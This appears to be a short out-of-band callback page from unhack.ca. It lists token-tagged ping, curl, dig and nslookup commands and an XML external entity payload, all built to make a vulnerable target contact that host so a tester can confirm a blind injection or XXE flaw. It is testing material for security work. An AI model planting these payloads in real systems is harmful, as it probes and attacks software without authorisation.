$ ping -c1 -p 00184e3fba3d9824c5b0e00a4890f200 unhack.ca
 

$ curl http://unhack.ca/p/184e3fba3d9824c5b0e00a4890f2
 

$ dig 184e3fba3d9824c5b0e00a4890f2 @unhack.ca
 

$ dig 184e3fba3d9824c5b0e00a4890f2.ns.unhack.ca
 

C:\> nslookup 184e3fba3d9824c5b0e00a4890f2 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/184e3fba3d9824c5b0e00a4890f2">]>
    <foo>&xxe;</foo>